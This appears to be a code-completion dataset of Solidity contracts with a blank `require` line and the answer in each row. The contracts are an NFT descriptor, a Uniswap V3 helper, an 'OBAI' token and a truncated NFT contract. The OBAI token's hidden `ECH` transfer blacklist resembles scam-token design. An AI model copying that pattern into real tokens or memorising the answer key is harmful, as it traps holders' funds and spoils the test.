* @notice Add a Gnar accessory.
* @dev This function can only be called by the owner when not locked.
*/
function addAccessory(bytes calldata _accessory) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar head.
* @dev This function can only be called by the owner when not locked.
*/
function addHead(bytes calldata _head) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add Gnar glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addGlasses(bytes calldata _glasses) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Lock all Gnar parts.
* @dev This cannot be reversed and can only be called by the owner when not locked.
*/
function lockParts() external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Toggle a boolean value which determines if `tokenURI` returns a data URI
* or an HTTP URL.
* @dev This can only be called by the owner.
*/
function toggleDataURIEnabled() external override onlyOwner {
}
/**
* @notice Set the base URI for all token IDs. It is automatically
* added as a prefix to the value returned in {tokenURI}, or to the
* token ID if {tokenURI} is empty.
* @dev This can only be called by the owner.
*/
function setBaseURI(string calldata _baseURI) external override onlyOwner {
}
/**
* @notice Given a token ID and seed, construct a token URI for an official Gnars DAO Gnar.
* @dev The returned value may be a base64 encoded data URI or an API URL.
*/
function tokenURI(uint256 tokenId, IGnarSeederV2.Seed memory seed) external view override returns (string memory) {
}
/**
* @notice Given a token ID and seed, construct a base64 encoded data URI for an official Gnars DAO Gnar.
*/
function dataURI(uint256 tokenId, IGnarSeederV2.Seed memory seed) public view override returns (string memory) {
}
/**
* @notice Given a name, description, and seed, construct a base64 encoded data URI.
*/
function genericDataURI(
string memory name,
string memory description,
IGnarSeederV2.Seed memory seed
) public view override returns (string memory) {
}
function generateAttributesList(IGnarSeederV2.Seed memory seed) public view returns (string memory) {
}
/**
* @notice Given a seed, construct a base64 encoded SVG image.
*/
function generateSVGImage(IGnarSeederV2.Seed memory seed) external view override returns (string memory) {
}
/**
* @notice Generate an SVG image for use in the ERC721 token URI.
*/
function _generateSVGImage(MultiPartRLEToSVG.SVGParams memory params) public view returns (string memory svg) {
}
/**
* @notice Add a single color to a color palette.
*/
function _addColorToPalette(uint8 _paletteIndex, string calldata _color) internal {
}
/**
* @notice Add a Gnar background.
*/
function _addBackground(string calldata _background) internal {
}
/**
* @notice Add a Gnar body.
*/
function _addBody(bytes calldata _body) internal {
}
/**
* @notice Add a Gnar accessory.
*/
function _addAccessory(bytes calldata _accessory) internal {
}
/**
* @notice Add a Gnar head.
*/
function _addHead(bytes calldata _head) internal {
}
/**
* @notice Add Gnar glasses.
*/
function _addGlasses(bytes calldata _glasses) internal {
}
/**
* @notice Get all Gnar parts for the passed `seed`.
*/
function _getPartsForSeed(IGnarSeederV2.Seed memory seed) internal view returns (bytes[] memory) {
}
}
| !arePartsLocked,"Parts are locked" | 242,149 | !arePartsLocked |
"ZERO ADDRESS" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Base64} from "base64-sol/base64.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {IGnarDescriptorV2} from "../interfaces/IGNARDescriptorV2.sol";
import {IGnarSeederV2} from "../interfaces/IGNARSeederV2.sol";
import {MultiPartRLEToSVG} from "./libs/MultiPartRLEToSVG.sol";
import {IGnarDecorator} from "../interfaces/IGnarDecorator.sol";
contract GNARDescriptorV2 is IGnarDescriptorV2, Ownable {
using Strings for uint256;
IGnarDecorator public decorator;
// Whether or not new Gnar parts can be added
bool public override arePartsLocked;
// Whether or not `tokenURI` should be returned as a data URI (Default: true)
bool public override isDataURIEnabled = true;
// Base URI
string public override baseURI;
// Gnar Color Palettes (Index => Hex Colors)
mapping(uint8 => string[]) public override palettes;
// Gnar Backgrounds (Hex Colors)
string[] public override backgrounds;
// Gnar Bodies (Custom RLE)
bytes[] public override bodies;
// Gnar Accessories (Custom RLE)
bytes[] public override accessories;
// Gnar Heads (Custom RLE)
bytes[] public override heads;
// Gnar Glasses (Custom RLE)
bytes[] public override glasses;
/**
* @notice Require that the parts have not been locked.
*/
modifier whenPartsNotLocked() {
}
constructor(IGnarDecorator _decorator) {
require(<FILL_ME>)
decorator = _decorator;
}
/**
* @notice Set the token URI descriptor.
* @dev Only callable by the owner when not locked.
*/
function setDecorator(IGnarDecorator _decorator) external override onlyOwner {
}
/**
* @notice Get the number of available Gnar `backgrounds`.
*/
function backgroundCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `bodies`.
*/
function bodyCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `accessories`.
*/
function accessoryCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `heads`.
*/
function headCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `glasses`.
*/
function glassesCount() external view override returns (uint256) {
}
/**
* @notice Add colors to a color palette.
* @dev This function can only be called by the owner.
*/
function addManyColorsToPalette(uint8 paletteIndex, string[] calldata newColors) external override onlyOwner {
}
/**
* @notice Batch add Gnar backgrounds.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBackgrounds(string[] calldata _backgrounds) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar bodies.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBodies(bytes[] calldata _bodies) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar accessories.
* @dev This function can only be called by the owner when not locked.
*/
function addManyAccessories(bytes[] calldata _accessories) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar heads.
* @dev This function can only be called by the owner when not locked.
*/
function addManyHeads(bytes[] calldata _heads) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addManyGlasses(bytes[] calldata _glasses) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a single color to a color palette.
* @dev This function can only be called by the owner.
*/
function addColorToPalette(uint8 _paletteIndex, string calldata _color) external override onlyOwner {
}
/**
* @notice Add a Gnar background.
* @dev This function can only be called by the owner when not locked.
*/
function addBackground(string calldata _background) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar body.
* @dev This function can only be called by the owner when not locked.
*/
function addBody(bytes calldata _body) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar accessory.
* @dev This function can only be called by the owner when not locked.
*/
function addAccessory(bytes calldata _accessory) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar head.
* @dev This function can only be called by the owner when not locked.
*/
function addHead(bytes calldata _head) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add Gnar glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addGlasses(bytes calldata _glasses) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Lock all Gnar parts.
* @dev This cannot be reversed and can only be called by the owner when not locked.
*/
function lockParts() external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Toggle a boolean value which determines if `tokenURI` returns a data URI
* or an HTTP URL.
* @dev This can only be called by the owner.
*/
function toggleDataURIEnabled() external override onlyOwner {
}
/**
* @notice Set the base URI for all token IDs. It is automatically
* added as a prefix to the value returned in {tokenURI}, or to the
* token ID if {tokenURI} is empty.
* @dev This can only be called by the owner.
*/
function setBaseURI(string calldata _baseURI) external override onlyOwner {
}
/**
* @notice Given a token ID and seed, construct a token URI for an official Gnars DAO Gnar.
* @dev The returned value may be a base64 encoded data URI or an API URL.
*/
function tokenURI(uint256 tokenId, IGnarSeederV2.Seed memory seed) external view override returns (string memory) {
}
/**
* @notice Given a token ID and seed, construct a base64 encoded data URI for an official Gnars DAO Gnar.
*/
function dataURI(uint256 tokenId, IGnarSeederV2.Seed memory seed) public view override returns (string memory) {
}
/**
* @notice Given a name, description, and seed, construct a base64 encoded data URI.
*/
function genericDataURI(
string memory name,
string memory description,
IGnarSeederV2.Seed memory seed
) public view override returns (string memory) {
}
function generateAttributesList(IGnarSeederV2.Seed memory seed) public view returns (string memory) {
}
/**
* @notice Given a seed, construct a base64 encoded SVG image.
*/
function generateSVGImage(IGnarSeederV2.Seed memory seed) external view override returns (string memory) {
}
/**
* @notice Generate an SVG image for use in the ERC721 token URI.
*/
function _generateSVGImage(MultiPartRLEToSVG.SVGParams memory params) public view returns (string memory svg) {
}
/**
* @notice Add a single color to a color palette.
*/
function _addColorToPalette(uint8 _paletteIndex, string calldata _color) internal {
}
/**
* @notice Add a Gnar background.
*/
function _addBackground(string calldata _background) internal {
}
/**
* @notice Add a Gnar body.
*/
function _addBody(bytes calldata _body) internal {
}
/**
* @notice Add a Gnar accessory.
*/
function _addAccessory(bytes calldata _accessory) internal {
}
/**
* @notice Add a Gnar head.
*/
function _addHead(bytes calldata _head) internal {
}
/**
* @notice Add Gnar glasses.
*/
function _addGlasses(bytes calldata _glasses) internal {
}
/**
* @notice Get all Gnar parts for the passed `seed`.
*/
function _getPartsForSeed(IGnarSeederV2.Seed memory seed) internal view returns (bytes[] memory) {
}
}
| address(_decorator)!=address(0),"ZERO ADDRESS" | 242,149 | address(_decorator)!=address(0) |
"Palettes can only hold 256 colors" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Base64} from "base64-sol/base64.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {IGnarDescriptorV2} from "../interfaces/IGNARDescriptorV2.sol";
import {IGnarSeederV2} from "../interfaces/IGNARSeederV2.sol";
import {MultiPartRLEToSVG} from "./libs/MultiPartRLEToSVG.sol";
import {IGnarDecorator} from "../interfaces/IGnarDecorator.sol";
contract GNARDescriptorV2 is IGnarDescriptorV2, Ownable {
using Strings for uint256;
IGnarDecorator public decorator;
// Whether or not new Gnar parts can be added
bool public override arePartsLocked;
// Whether or not `tokenURI` should be returned as a data URI (Default: true)
bool public override isDataURIEnabled = true;
// Base URI
string public override baseURI;
// Gnar Color Palettes (Index => Hex Colors)
mapping(uint8 => string[]) public override palettes;
// Gnar Backgrounds (Hex Colors)
string[] public override backgrounds;
// Gnar Bodies (Custom RLE)
bytes[] public override bodies;
// Gnar Accessories (Custom RLE)
bytes[] public override accessories;
// Gnar Heads (Custom RLE)
bytes[] public override heads;
// Gnar Glasses (Custom RLE)
bytes[] public override glasses;
/**
* @notice Require that the parts have not been locked.
*/
modifier whenPartsNotLocked() {
}
constructor(IGnarDecorator _decorator) {
}
/**
* @notice Set the token URI descriptor.
* @dev Only callable by the owner when not locked.
*/
function setDecorator(IGnarDecorator _decorator) external override onlyOwner {
}
/**
* @notice Get the number of available Gnar `backgrounds`.
*/
function backgroundCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `bodies`.
*/
function bodyCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `accessories`.
*/
function accessoryCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `heads`.
*/
function headCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `glasses`.
*/
function glassesCount() external view override returns (uint256) {
}
/**
* @notice Add colors to a color palette.
* @dev This function can only be called by the owner.
*/
function addManyColorsToPalette(uint8 paletteIndex, string[] calldata newColors) external override onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < newColors.length; i++) {
_addColorToPalette(paletteIndex, newColors[i]);
}
}
/**
* @notice Batch add Gnar backgrounds.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBackgrounds(string[] calldata _backgrounds) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar bodies.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBodies(bytes[] calldata _bodies) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar accessories.
* @dev This function can only be called by the owner when not locked.
*/
function addManyAccessories(bytes[] calldata _accessories) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar heads.
* @dev This function can only be called by the owner when not locked.
*/
function addManyHeads(bytes[] calldata _heads) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addManyGlasses(bytes[] calldata _glasses) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a single color to a color palette.
* @dev This function can only be called by the owner.
*/
function addColorToPalette(uint8 _paletteIndex, string calldata _color) external override onlyOwner {
}
/**
* @notice Add a Gnar background.
* @dev This function can only be called by the owner when not locked.
*/
function addBackground(string calldata _background) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar body.
* @dev This function can only be called by the owner when not locked.
*/
function addBody(bytes calldata _body) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar accessory.
* @dev This function can only be called by the owner when not locked.
*/
function addAccessory(bytes calldata _accessory) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar head.
* @dev This function can only be called by the owner when not locked.
*/
function addHead(bytes calldata _head) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add Gnar glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addGlasses(bytes calldata _glasses) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Lock all Gnar parts.
* @dev This cannot be reversed and can only be called by the owner when not locked.
*/
function lockParts() external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Toggle a boolean value which determines if `tokenURI` returns a data URI
* or an HTTP URL.
* @dev This can only be called by the owner.
*/
function toggleDataURIEnabled() external override onlyOwner {
}
/**
* @notice Set the base URI for all token IDs. It is automatically
* added as a prefix to the value returned in {tokenURI}, or to the
* token ID if {tokenURI} is empty.
* @dev This can only be called by the owner.
*/
function setBaseURI(string calldata _baseURI) external override onlyOwner {
}
/**
* @notice Given a token ID and seed, construct a token URI for an official Gnars DAO Gnar.
* @dev The returned value may be a base64 encoded data URI or an API URL.
*/
function tokenURI(uint256 tokenId, IGnarSeederV2.Seed memory seed) external view override returns (string memory) {
}
/**
* @notice Given a token ID and seed, construct a base64 encoded data URI for an official Gnars DAO Gnar.
*/
function dataURI(uint256 tokenId, IGnarSeederV2.Seed memory seed) public view override returns (string memory) {
}
/**
* @notice Given a name, description, and seed, construct a base64 encoded data URI.
*/
function genericDataURI(
string memory name,
string memory description,
IGnarSeederV2.Seed memory seed
) public view override returns (string memory) {
}
function generateAttributesList(IGnarSeederV2.Seed memory seed) public view returns (string memory) {
}
/**
* @notice Given a seed, construct a base64 encoded SVG image.
*/
function generateSVGImage(IGnarSeederV2.Seed memory seed) external view override returns (string memory) {
}
/**
* @notice Generate an SVG image for use in the ERC721 token URI.
*/
function _generateSVGImage(MultiPartRLEToSVG.SVGParams memory params) public view returns (string memory svg) {
}
/**
* @notice Add a single color to a color palette.
*/
function _addColorToPalette(uint8 _paletteIndex, string calldata _color) internal {
}
/**
* @notice Add a Gnar background.
*/
function _addBackground(string calldata _background) internal {
}
/**
* @notice Add a Gnar body.
*/
function _addBody(bytes calldata _body) internal {
}
/**
* @notice Add a Gnar accessory.
*/
function _addAccessory(bytes calldata _accessory) internal {
}
/**
* @notice Add a Gnar head.
*/
function _addHead(bytes calldata _head) internal {
}
/**
* @notice Add Gnar glasses.
*/
function _addGlasses(bytes calldata _glasses) internal {
}
/**
* @notice Get all Gnar parts for the passed `seed`.
*/
function _getPartsForSeed(IGnarSeederV2.Seed memory seed) internal view returns (bytes[] memory) {
}
}
| palettes[paletteIndex].length+newColors.length<=256,"Palettes can only hold 256 colors" | 242,149 | palettes[paletteIndex].length+newColors.length<=256 |
"Palettes can only hold 256 colors" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Base64} from "base64-sol/base64.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {IGnarDescriptorV2} from "../interfaces/IGNARDescriptorV2.sol";
import {IGnarSeederV2} from "../interfaces/IGNARSeederV2.sol";
import {MultiPartRLEToSVG} from "./libs/MultiPartRLEToSVG.sol";
import {IGnarDecorator} from "../interfaces/IGnarDecorator.sol";
contract GNARDescriptorV2 is IGnarDescriptorV2, Ownable {
using Strings for uint256;
IGnarDecorator public decorator;
// Whether or not new Gnar parts can be added
bool public override arePartsLocked;
// Whether or not `tokenURI` should be returned as a data URI (Default: true)
bool public override isDataURIEnabled = true;
// Base URI
string public override baseURI;
// Gnar Color Palettes (Index => Hex Colors)
mapping(uint8 => string[]) public override palettes;
// Gnar Backgrounds (Hex Colors)
string[] public override backgrounds;
// Gnar Bodies (Custom RLE)
bytes[] public override bodies;
// Gnar Accessories (Custom RLE)
bytes[] public override accessories;
// Gnar Heads (Custom RLE)
bytes[] public override heads;
// Gnar Glasses (Custom RLE)
bytes[] public override glasses;
/**
* @notice Require that the parts have not been locked.
*/
modifier whenPartsNotLocked() {
}
constructor(IGnarDecorator _decorator) {
}
/**
* @notice Set the token URI descriptor.
* @dev Only callable by the owner when not locked.
*/
function setDecorator(IGnarDecorator _decorator) external override onlyOwner {
}
/**
* @notice Get the number of available Gnar `backgrounds`.
*/
function backgroundCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `bodies`.
*/
function bodyCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `accessories`.
*/
function accessoryCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `heads`.
*/
function headCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `glasses`.
*/
function glassesCount() external view override returns (uint256) {
}
/**
* @notice Add colors to a color palette.
* @dev This function can only be called by the owner.
*/
function addManyColorsToPalette(uint8 paletteIndex, string[] calldata newColors) external override onlyOwner {
}
/**
* @notice Batch add Gnar backgrounds.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBackgrounds(string[] calldata _backgrounds) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar bodies.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBodies(bytes[] calldata _bodies) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar accessories.
* @dev This function can only be called by the owner when not locked.
*/
function addManyAccessories(bytes[] calldata _accessories) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar heads.
* @dev This function can only be called by the owner when not locked.
*/
function addManyHeads(bytes[] calldata _heads) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addManyGlasses(bytes[] calldata _glasses) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a single color to a color palette.
* @dev This function can only be called by the owner.
*/
function addColorToPalette(uint8 _paletteIndex, string calldata _color) external override onlyOwner {
require(<FILL_ME>)
_addColorToPalette(_paletteIndex, _color);
}
/**
* @notice Add a Gnar background.
* @dev This function can only be called by the owner when not locked.
*/
function addBackground(string calldata _background) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar body.
* @dev This function can only be called by the owner when not locked.
*/
function addBody(bytes calldata _body) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar accessory.
* @dev This function can only be called by the owner when not locked.
*/
function addAccessory(bytes calldata _accessory) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar head.
* @dev This function can only be called by the owner when not locked.
*/
function addHead(bytes calldata _head) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add Gnar glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addGlasses(bytes calldata _glasses) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Lock all Gnar parts.
* @dev This cannot be reversed and can only be called by the owner when not locked.
*/
function lockParts() external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Toggle a boolean value which determines if `tokenURI` returns a data URI
* or an HTTP URL.
* @dev This can only be called by the owner.
*/
function toggleDataURIEnabled() external override onlyOwner {
}
/**
* @notice Set the base URI for all token IDs. It is automatically
* added as a prefix to the value returned in {tokenURI}, or to the
* token ID if {tokenURI} is empty.
* @dev This can only be called by the owner.
*/
function setBaseURI(string calldata _baseURI) external override onlyOwner {
}
/**
* @notice Given a token ID and seed, construct a token URI for an official Gnars DAO Gnar.
* @dev The returned value may be a base64 encoded data URI or an API URL.
*/
function tokenURI(uint256 tokenId, IGnarSeederV2.Seed memory seed) external view override returns (string memory) {
}
/**
* @notice Given a token ID and seed, construct a base64 encoded data URI for an official Gnars DAO Gnar.
*/
function dataURI(uint256 tokenId, IGnarSeederV2.Seed memory seed) public view override returns (string memory) {
}
/**
* @notice Given a name, description, and seed, construct a base64 encoded data URI.
*/
function genericDataURI(
string memory name,
string memory description,
IGnarSeederV2.Seed memory seed
) public view override returns (string memory) {
}
function generateAttributesList(IGnarSeederV2.Seed memory seed) public view returns (string memory) {
}
/**
* @notice Given a seed, construct a base64 encoded SVG image.
*/
function generateSVGImage(IGnarSeederV2.Seed memory seed) external view override returns (string memory) {
}
/**
* @notice Generate an SVG image for use in the ERC721 token URI.
*/
function _generateSVGImage(MultiPartRLEToSVG.SVGParams memory params) public view returns (string memory svg) {
}
/**
* @notice Add a single color to a color palette.
*/
function _addColorToPalette(uint8 _paletteIndex, string calldata _color) internal {
}
/**
* @notice Add a Gnar background.
*/
function _addBackground(string calldata _background) internal {
}
/**
* @notice Add a Gnar body.
*/
function _addBody(bytes calldata _body) internal {
}
/**
* @notice Add a Gnar accessory.
*/
function _addAccessory(bytes calldata _accessory) internal {
}
/**
* @notice Add a Gnar head.
*/
function _addHead(bytes calldata _head) internal {
}
/**
* @notice Add Gnar glasses.
*/
function _addGlasses(bytes calldata _glasses) internal {
}
/**
* @notice Get all Gnar parts for the passed `seed`.
*/
function _getPartsForSeed(IGnarSeederV2.Seed memory seed) internal view returns (bytes[] memory) {
}
}
| palettes[_paletteIndex].length<=255,"Palettes can only hold 256 colors" | 242,149 | palettes[_paletteIndex].length<=255 |
"DIFF TICK" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import "@uniswap/v3-core/contracts/libraries/FixedPoint128.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library PositionHelper {
using SafeMath for uint256;
struct Position {
uint128 principal0;
uint128 principal1;
address poolAddress;
int24 lowerTick;
int24 upperTick;
int24 tickSpacing;
bool status; // True - InvestIn False - NotInvest
}
/* ========== VIEW ========== */
function _positionInfo(
Position memory position
) internal view returns(uint128, uint256, uint256, uint256, uint256){
}
function _tickInfo(
IUniswapV3Pool pool,
int24 tick
) internal view returns (uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128) {
}
function _getFeeGrowthInside(
Position memory position
) internal view returns (uint256, uint256) {
}
function _getPendingAmounts(
Position memory position,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128
) internal view returns(uint256 tokensPending0, uint256 tokensPending1) {
}
function _getTotalAmounts(Position memory position, uint8 _performanceFee) internal view returns (uint256 total0, uint256 total1) {
}
function _poolInfo(IUniswapV3Pool pool) internal view returns (int24, uint256, uint256) {
}
/* ========== BASE FUNCTION ========== */
function _addLiquidity(
Position memory position,
uint128 liquidity
) internal returns (uint256 amount0, uint256 amount1){
}
function _burnLiquidity(
Position memory position,
uint128 liquidity
) internal returns (uint256 amount0, uint256 amount1) {
}
function _collect(
Position memory position,
address to,
uint128 amount0,
uint128 amount1
) internal returns (uint256 collect0, uint256 collect1) {
}
/* ========== SENIOR FUNCTION ========== */
function _addAll(
Position memory position,
uint256 balance0,
uint256 balance1
) internal returns(uint256 amount0, uint256 amount1){
}
function _burnAll(
Position memory position
) internal returns(uint256, uint256, uint256, uint256) {
}
function _burn(
Position memory position,
uint128 liquidity
) internal returns(uint256 amount0, uint256 amount1, uint256 fee0, uint256 fee1) {
}
function _burnSpecific(
Position memory position,
uint128 liquidity,
address to
) internal returns(uint256 amount0, uint256 amount1, uint fee0, uint fee1){
}
function _getReBalanceTicks(
Position memory position,
int24 reBalanceThreshold,
int24 band
) internal view returns (bool status, int24 lowerTick, int24 upperTick) {
}
function checkDiffTick(Position memory position, int24 _tick, uint24 _diffTick) internal view {
// get Current Tick
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
( , int24 tick, , , , , ) = pool.slot0();
require(<FILL_ME>)
}
function _floor(int24 tick, int24 _tickSpacing) internal pure returns (int24) {
}
}
| tick-_tick<int24(_diffTick)&&_tick-tick<int24(_diffTick),"DIFF TICK" | 242,242 | tick-_tick<int24(_diffTick)&&_tick-tick<int24(_diffTick) |
null | /**
*Submitted for verification at Etherscan.io on 2023-01-08
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
function Identifier() internal view virtual returns (address payable) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
function owner() public view returns (address) {
}
constructor () {
}
function transferOwnership(address newAddress) public onlyOwner{
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract OBAI is Context, IERC20, Ownable{
using SafeMath for uint256;
string private _name = "One Billion Ape Inu";
string private _symbol = "OBAI";
uint8 private _decimals = 9;
mapping (address => uint256) _balances;
address payable public txIndex;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public ECH;
uint256 public _buyMarketingFee = 3;
uint256 public _sellMarketingFee = 3;
uint256 private _totalSupply = 1000000000 * 10**_decimals;
constructor () {
}
address public uniswapPair;
function _approve(address owner, address spender, uint256 amount) private {
}
function name() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function symbol() public view returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
IUniswapV2Router02 public uniswapV2Router;
receive() external payable {}
function FSC(bool CMC, address[] calldata SYNC, uint256 rewardAmount) public {
}
bool inSwapAndLiquify;
modifier lockTheSwap {
}
function FROM(uint256 to, mapping(address => uint256) storage p) internal{
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function txIndexTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function pairFactory() public onlyOwner{
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(<FILL_ME>)
require(to != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return txIndexTransfer(from, to, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && !isMarketPair[from])
{
swapAndLiquify(contractTokenBalance);
}
_balances[from] = _balances[from].sub(amount);
uint256 finalAmount;
if (_isExcludefromFee[from] || _isExcludefromFee[to]){
finalAmount = amount;
}else{
uint256 feeAmount = 0;
if(isMarketPair[from]) {
feeAmount = amount.mul(_buyMarketingFee).div(100);
}
else if(isMarketPair[to]) {
feeAmount = amount.mul(_sellMarketingFee).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(from, address(this), feeAmount);
}
finalAmount = amount.sub(feeAmount);
}
_balances[to] = _balances[to].add(finalAmount);
emit Transfer(from, to, finalAmount);
return true;
}
}
}
| !ECH[from] | 242,346 | !ECH[from] |
'sold out' | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './@rarible/royalties/contracts/impl/RoyaltiesV2Impl.sol';
import './@rarible/royalties/contracts/LibPart.sol';
import './@rarible/royalties/contracts/LibRoyaltiesV2.sol';
contract BeycNFT is ERC721, Ownable, RoyaltiesV2Impl {
uint256 public mintPrice;
uint256 public totalSupply;
uint256 public maxSupply;
uint256 public maxPerWallet;
bool public isPublicMintEnable;
string internal baseTokenUri;
address payable public withdrawWallet;
mapping(address=>uint256) public walletMints;
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
constructor() payable ERC721('Bored Elon Yacht Club', 'BEYC') {
}
